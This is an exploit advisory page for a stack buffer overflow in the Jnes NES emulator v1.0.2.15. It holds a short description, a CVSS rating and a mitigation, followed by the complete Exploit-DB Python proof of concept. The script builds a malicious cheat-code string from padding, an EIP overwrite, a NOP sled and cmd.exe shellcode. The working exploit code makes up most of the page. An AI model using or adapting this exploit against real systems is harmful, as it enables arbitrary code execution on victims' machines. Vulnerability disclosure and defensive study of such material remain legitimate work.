Jnes Version 1.0.2 Stack Buffer Overflow

vendor:

Jnes

by:

crash_manucoot

9,3

CVSS

HIGH

Stack Buffer Overflow

119

CWE

Product Name: Jnes

Affected Version From: v1.0.2.15

Affected Version To: v1.0.2.15

Patch Exists: YES

Related CWE: N/A

CPE: a:jabosoft:jnes

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Home Premium SP1 SPANISH

2017

Jnes Version 1.0.2 Stack Buffer Overflow

Jnes Version 1.0.2 is vulnerable to a stack buffer overflow vulnerability. An attacker can exploit this vulnerability by loading a malicious ROM file and then going to the options - cheats - add - Pro-Action Replay menu. The attacker can then paste the contents of the open.txt file in the box <address>-<value> and click on ok. This will cause a buffer overflow and allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Upgrade to the latest version of Jnes.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# coding: utf-8 
# Exploit Title: Jnes Version 1.0.2 Stack Buffer Overflow
# Date: 3-11-2017
# Exploit Author: crash_manucoot
# Contact: twitter.com/crash_manucoot
# Vendor Homepage: http://www.jabosoft.com/home
# Software Link: http://www.jabosoft.com/categories/3
# Version:  v1.0.2.15
# Tested on: Windows 7 Home Premium SP1 SPANISH
# Category: Windows Local Exploit
# How to use: open the emulator load any ROM go to options - cheats - add - Pro-Action Replay
# paste the contents of the open.txt in the box <address>-<value> click on ok
# you will get an error message click on ok close the cheat menu and bum


import struct

fuzzing = open('open.txt','w+')

eip = struct.pack('<I', 0x75744E2B) # (overwrites EIP with the address of user32.dll)

buffer = "A" * 812

nops = "\x90" * 20  #Nops

shellcode = (			#cmd.exe Shellcode
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08"
"\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
"\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08"
"\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c"
"\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9"
"\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49"
"\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65"
"\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d"
"\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9"
"\x51\xff\xd6")

fuzzing.write(buffer + eip + nops + shellcode)